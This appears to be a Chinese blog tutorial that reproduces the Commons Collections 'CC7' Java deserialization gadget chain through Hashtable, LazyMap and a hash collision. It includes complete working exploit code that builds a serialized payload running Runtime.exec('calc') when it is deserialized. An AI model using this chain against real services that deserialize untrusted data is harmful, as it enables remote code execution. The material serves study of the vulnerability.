首页 > 编程语言 >java 反序列化 cc7 复现

java 反序列化 cc7 复现

时间:2024-11-15 18:29:57浏览次数:1  
标签:InvokerTransformer java cc7 key import new 序列化 hash

复现环境:common-collections版本<=3.2.1,java版本随意.cc7就是cc6换了一个出口,整体的逻辑没有太大的变化.在Lazymap之前的还那样,我们从如何触发Lazymapget方法开始看起.

AbstractMap

看他的equals方法

public boolean equals(Object o) {  
    if (o == this)  
        return true;  
  
    if (!(o instanceof Map))  
        return false;  
    Map<?,?> m = (Map<?,?>) o;  
    if (m.size() != size())  
        return false;  
  
    try {  
        Iterator<Entry<K,V>> i = entrySet().iterator();  
        while (i.hasNext()) {  
            Entry<K,V> e = i.next();  
            K key = e.getKey();  
            V value = e.getValue();  
            if (value == null) {  
                if (!(m.get(key)==null && m.containsKey(key)))  
                    return false;  
            } else {  
                if (!value.equals(m.get(key)))  
                    return false;  
            }  
        }  
    } catch (ClassCastException unused) {  
        return false;  
    } catch (NullPointerException unused) {  
        return false;  
    }  
  
    return true;  
}

看到了m.get(key)

AbstractMapDecorator

同样是看他的equals方法

public boolean equals(Object object) {  
    return object == this ? true : this.map.equals(object);  
}

可以用来触发AbstractMapequals方法.
然而这两个类都是抽象类,不能够被实例化,因此在实例化的时候都是实例化的LazyMap类.

Hashtable

看他的reconstitutionPut方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)  
    throws StreamCorruptedException  
{  
    if (value == null) {  
        throw new java.io.StreamCorruptedException();  
    }  
    // Makes sure the key is not already in the hashtable.  
    // This should not happen in deserialized version.    
    int hash = key.hashCode();  
    int index = (hash & 0x7FFFFFFF) % tab.length;  
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {  
        if ((e.hash == hash) && e.key.equals(key)) {  
            throw new java.io.StreamCorruptedException();  
        }  
    }  
    // Creates the new entry.  
    @SuppressWarnings("unchecked")  
        Entry<K,V> e = (Entry<K,V>)tab[index];  
    tab[index] = new Entry<>(hash, key, value, e);  
    count++;  
}

为什么要使用这个方法?因为reconstitutionPut的作用是在对hashTable进行反序列化的时候,对类中的键值对进行恢复.来看readObject方法

private void readObject(java.io.ObjectInputStream s)  
     throws IOException, ClassNotFoundException  
{  
    ObjectInputStream.GetField fields = s.readFields();  
  
    // Read and validate loadFactor (ignore threshold - it will be re-computed)  
    float lf = fields.get("loadFactor", 0.75f);  
    if (lf <= 0 || Float.isNaN(lf))  
        throw new StreamCorruptedException("Illegal load factor: " + lf);  
    lf = Math.min(Math.max(0.25f, lf), 4.0f);  
  
    // Read the original length of the array and number of elements  
    int origlength = s.readInt();  
    int elements = s.readInt();  
  
    // Validate # of elements  
    if (elements < 0)  
        throw new StreamCorruptedException("Illegal # of Elements: " + elements);  
  
    // Clamp original length to be more than elements / loadFactor  
    // (this is the invariant enforced with auto-growth)    origlength = Math.max(origlength, (int)(elements / lf) + 1);  
  
    // Compute new length with a bit of room 5% + 3 to grow but  
    // no larger than the clamped original length.  Make the length    // odd if it's large enough, this helps distribute the entries.    // Guard against the length ending up zero, that's not valid.    int length = (int)((elements + elements / 20) / lf) + 3;  
    if (length > elements && (length & 1) == 0)  
        length--;  
    length = Math.min(length, origlength);  
  
    if (length < 0) { // overflow  
        length = origlength;  
    }  
  
    // Check Map.Entry[].class since it's the nearest public type to  
    // what we're actually creating.    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);  
    Hashtable.UnsafeHolder.putLoadFactor(this, lf);  
    table = new Entry<?,?>[length];  
    threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);  
    count = 0;  
  
    // Read the number of elements and then all the key/value objects  
    for (; elements > 0; elements--) {  
        @SuppressWarnings("unchecked")  
            K key = (K)s.readObject();  
        @SuppressWarnings("unchecked")  
            V value = (V)s.readObject();  
        // sync is eliminated for performance  
        reconstitutionPut(table, key, value);  
    }  
}

前面那些都不用看,就看最后调用了reconstitutionPut即可.这条利用链的触发方式比较直观,就是在反序列化时对hashTable中的键值对进行恢复时,出现了比较,因此调用了equals方法.我们写出脚本

package org.example;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception {  
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  
  
        String MethodName1 = "getMethod";  
        Class[] ParmaType1 = {String.class, Class[].class};  
        Object[] Parma1 = {"getRuntime", null};  
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  
  
        String MethodName2 = "invoke";  
        Class[] ParmaType2 = {Object.class, Object[].class};  
        Object[] Parma2 = {null, null};  
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  
  
        String MethodName3 = "exec";  
        Class[] ParmaType3 = {String.class};  
        Object[] Parma3 = {"calc"};  
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  
  
        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});  
  
        Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);  
        Map lazymap2 = LazyMap.decorate(new HashMap(), chainedTransformer);  
        lazymap1.put("yy", 1);  
        lazymap2.put("zZ",1);  
  
        Hashtable hashtable = new Hashtable<>();  
        hashtable.put(lazymap1, 1);  
        hashtable.put(lazymap2, 2);  
  
        Class clazz = chainedTransformer.getClass();  
        Field field = clazz.getDeclaredField("iTransformers");  
        field.setAccessible(true);  
        field.set(chainedTransformer, transformers);  
  
        serial(hashtable);  
        unserial();  
  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

首先解释一下为什么给LazyMap插入的值必须是yy和zZ.
reconstitutionPut方法中执行equals的条件为

 int hash = key.hashCode();  
    int index = (hash & 0x7FFFFFFF) % tab.length;  
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {  
        if ((e.hash == hash) && e.key.equals(key)) {  
            throw new java.io.StreamCorruptedException();  
        }  
    }  

必须要满足e.hash == hash才可以,而这两个哈希是由两个键的值生成的,因此这两个键必须存在哈希碰撞.
再解释一下ChainedTransformers中的iTransformers为什么要通过反射去进行修改.这个比较类似于cc6那里的问题.

public synchronized V put(K key, V value) {  
    // Make sure the value is not null  
    if (value == null) {  
        throw new NullPointerException();  
    }  
  
    // Makes sure the key is not already in the hashtable.  
    Entry<?,?> tab[] = table;  
    int hash = key.hashCode();  
    int index = (hash & 0x7FFFFFFF) % tab.length;  
    @SuppressWarnings("unchecked")  
    Entry<K,V> entry = (Entry<K,V>)tab[index];  
    for(; entry != null ; entry = entry.next) {  
        if ((entry.hash == hash) && entry.key.equals(key)) {  
            V old = entry.value;  
            entry.value = value;  
            return old;  
        }  
    }  
  
    addEntry(hash, key, value, index);  
    return null;  
}

我们可以看到在使用hashTable进行插值的时候里面存在这样一句int hash = key.hashCode();,就是问题所在.此时的key实际是一个LazyMap的实例,那么插值的时候就会触发LazyMap里的HashMaphashCode方法,沿着cc6的那条链子一路触发下去,从而调用get方法提前执行命令.因此需要通过反射去进行修改.
然而我们运行程序,发现并没有像预期的那样弹出计算器,研究发现问题出在这里.
image

这个问题和cc6出现的那个也比较的类似,在hashTable进行插值的时候,如果之前里面有东西,会去进行一次比较来决定顺序,从而触发get方法.在序列化的时候,这里正确触发了transform方法,但是给LazyMap2插入了一个yy.
image

那么在反序列化的时候,就不能正确的触发transform方法,而是直接去执行else分支,链子断了.因此应该在最后溢出lazyMap2的yy.
最终脚本如下:

package org.example;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception {  
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  
  
        String MethodName1 = "getMethod";  
        Class[] ParmaType1 = {String.class, Class[].class};  
        Object[] Parma1 = {"getRuntime", null};  
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  
  
        String MethodName2 = "invoke";  
        Class[] ParmaType2 = {Object.class, Object[].class};  
        Object[] Parma2 = {null, null};  
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  
  
        String MethodName3 = "exec";  
        Class[] ParmaType3 = {String.class};  
        Object[] Parma3 = {"calc"};  
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  
  
        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});  
  
        Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);  
        Map lazymap2 = LazyMap.decorate(new HashMap(), chainedTransformer);  
        lazymap1.put("yy", 1);  
        lazymap2.put("zZ",1);  
  
        Hashtable hashtable = new Hashtable<>();  
        hashtable.put(lazymap1, 1);  
        hashtable.put(lazymap2, 2);  
  
        Class clazz = chainedTransformer.getClass();  
        Field field = clazz.getDeclaredField("iTransformers");  
        field.setAccessible(true);  
        field.set(chainedTransformer, transformers);  
  
        lazymap2.remove("yy");  
  
        serial(hashtable);  
        unserial();  
  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

归纳得出反序列化的链子如下

Gadget chain:
ObjectInputStream.readObject()
    HashTable.readObject()
        HashTable.reconstitutionPut()
            AbstractMapDecorator.equals()
                AbstractMap.equals()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

标签:InvokerTransformer,java,cc7,key,import,new,序列化,hash
From: https://www.cnblogs.com/meraklbz/p/18548461

相关文章

  • JAVA部分基础知识点(四)【持续更新】
    1.方法重写当子类觉得父类中的某个方法不好用,或者无法满足自己的需求时,子类可以重写一个方法名称、参数列表一样的方法,去覆善父类的这个方法,这就是方法重写。【注意:重写后,方法的访问,Java会遵循就近原则】方法重写的其它注意事项:重写小技巧:使用Override注解,他可以指定java......
  • Java概述
    1.Java程序编写和执行的过程:步骤1:编写。Java代码编写在.Java结尾的文件中。步骤2:编译。格式:javac源文件名.java步骤3:运行。格式:java字节码文件名2.编写的说明:classHelloWorld{publicstatic.void.main(String[]args){System.out.println("helloworld!!你好中国!");}......
  • JAVA植物大全网站和百度AI植物智能识别系统(开题报告+作品+论文)
     博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育、辅导。所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩,提供核心代码讲解,答辩指导。项目配有对应开发......
  • 代理模式在JavaScript中的恋爱应用笔记
    一、引言在面向对象编程的世界里,代理模式犹如一位巧妙的媒人,巧妙地连接了两个对象之间的交互,而无需直接显式地引用彼此。这种模式不仅降低了系统的耦合度,还使得代码更加灵活、可扩展。而在JavaScript的世界里,代理模式更是展现出了其独特的魅力。今天,我将结合恋爱场景,为大家......
  • 解码JavaScript作用域:var a = 1; 背后的故事
    1、引言JavaScript是一种广泛使用的编程语言,其灵活的语法和强大的功能使其成为前端开发的首选语言。然而,对于初学者来说,理解JavaScript中的作用域机制可能会有些困难。本文将通过一句简单的代码vara=1;,深入解析JavaScript的执行机制和作用域管理。2、变量声明与......
  • 一文掌握:java编译器:跑通helloworld并了解核心原理
    本文旨在详细介绍Java编译器的工作原理及其在Windows系统下的具体使用方法,包括安装步骤、常用命令介绍以及大致原理。通过本文,你可以全面掌握从编写代码到生成可执行文件的全过程,为Java开发奠定坚实的基础。Windows下Java环境的搭建与程序编译为了在Windows环境下运行Jav......
  • 【JavaScript】LeetCode:96-100
    文章目录96单词拆分97最长递增子序列98乘积最大子数组99分割等和子集100最长有效括号96单词拆分动态规划完全背包:背包-字符串s,物品-wordDict中的单词,可使用多次。问题转换:s能否被wordDict中的单词组成。dp[i]:长度为i的字符串s[0,i]能否被wordDict组成,dp[i]=......
  • 基于Java+SpringBoot的校园资产管理
    关注底部领取源码源码编号:S324源码名称:基于SpringBoot的校园资产管理用户类型:双角色,用户、管理员主要技术:Java、Vue、ElementUl、SpringBoot运行环境:Windows/Mac、JDK1.8及以上运行工具:IDEA/Eclipse数 据 库:MySQL5.7及以上版本数据库表数量:11张表是否有毕业论文......
  • 【JavaScript】LeetCode:91-95
    文章目录91不同路径92最小路径和93最长回文子串94最长公共子序列95编辑距离91不同路径动态规划dp[i][j]:从[0,0]到[i,j]的路径条数。dp[i][j]=从[0,0]到[i,j]上面一格的路径条数+从[0,0]到[i,j]左边一格的路径条数。初始化:因为第一行的格子只能由左......
  • 基于Java+SpringBoot的人事管理系统
    关注底部领取源码源码编号:S323源码名称:基于SpringBoot的人事管理系统用户类型:双角色,员工、管理员主要技术:Java、Vue、ElementUl、SpringBoot运行环境:Windows/Mac、JDK1.8及以上运行工具:IDEA/Eclipse数 据 库:MySQL5.7及以上版本数据库表数量:13张表是否有毕业论文......